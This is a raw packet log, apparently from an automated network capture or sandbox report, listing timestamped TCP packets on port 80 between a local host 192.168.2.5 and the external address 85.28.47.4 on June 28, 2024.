Jun 28, 2024 13:36:06.420025110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420033932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420044899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420047045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420084953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420259953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420274019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420284986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420295000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420303106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420305967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420317888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420327902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420336962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420339108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420346975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420356989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420373917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420378923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420392990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420398951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420403957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420413971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420417070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420455933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420511961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420522928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420532942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420546055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420553923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420559883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420563936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420574903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420578957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420584917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420594931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420604944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420612097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420646906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420823097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420834064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420844078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420854092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420867920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420870066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420877934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420888901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420897007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420897961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420908928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420932055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420947075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420948982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420957088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420968056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420974016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.420979977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420989990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.420994043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421000004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421010017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421016932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421020985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421030998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421037912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421040058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421050072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421060085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421067953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421068907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421086073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421120882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421120882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421149015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421382904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421394110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421402931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421430111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421432972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421443939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421452999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421458006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421467066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421477079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421487093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.421500921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.421536922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422357082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422374964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422384977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422406912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422436953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422447920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422457933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422492027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422519922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422548056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422559023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422569036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422585011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422595024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422595978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422605991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422633886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422662973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422672987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422717094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422760963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422770977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422780991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422791958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422802925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422808886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422813892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422825098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422835112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.422843933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.422868967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423140049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423150063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423166990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423182964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423191071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423193932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423203945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423213959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423223972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423228979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423233986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423247099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423257113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423260927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423271894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423280001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423281908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423291922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423300982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423311949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423331976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423353910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423530102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423540115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423573971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423573971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423585892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423595905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423607111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423609972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423616886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.423628092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.423666954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510502100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510528088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510540009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510550022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510572910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510582924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510585070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510595083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510606050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510615110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510668039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510715008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510726929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510737896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510749102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510757923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510766029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510776997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510797977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510828018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510839939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510850906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510860920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510890007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510890007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510900021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510910034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510910034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510921001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510930061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.510960102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.510994911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511172056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511183023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511193991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511203051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511214018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511224031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511226892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511234045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511240959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511249065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511265993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511276960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511287928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511288881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511297941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511306047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511308908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511317968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511327982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511337996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511344910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511380911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511470079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511482000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511492968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511502981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511521101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511549950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511580944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511591911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511604071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511614084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511624098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511626005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511634111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511657953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511688948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511709929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511723995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511744976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511754990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511754990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511766911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511778116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.511787891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.511825085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.512017012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512027979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512037992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512048006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512058020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512062073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.512068987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512079954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512094975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512099981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.512105942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512115955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512121916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.512126923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512137890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.512145996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.512175083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.514961004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.514971972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.514981031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515014887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515037060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515053034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515059948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515064001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515074015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515084982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515094042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515131950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515175104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515185118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515193939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515202999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515213013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515216112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515252113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515280008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515331984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515341997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515352011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515357971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515368938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515379906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515389919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515463114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515463114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515501976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515512943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515522003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515537977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515548944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515551090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515568018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515611887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515744925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515754938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515763998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515774012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515784025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515794039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515794039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515808105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515811920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515818119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515827894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515835047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515836954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515847921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515857935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515858889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515866995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515877962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515882969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515898943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515919924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.515940905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515950918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515960932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515971899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.515986919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.516016960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.516215086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.516225100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.516235113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.516263008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.516294003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.600760937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600774050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600785017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600862026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.600893021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600903034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600905895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.600913048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600924015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600934982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600944042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600944042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.600954056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600964069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600972891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600982904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:06.600987911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:06.601006985 CEST	49705	80	192.168.2.5	85.28.47.4
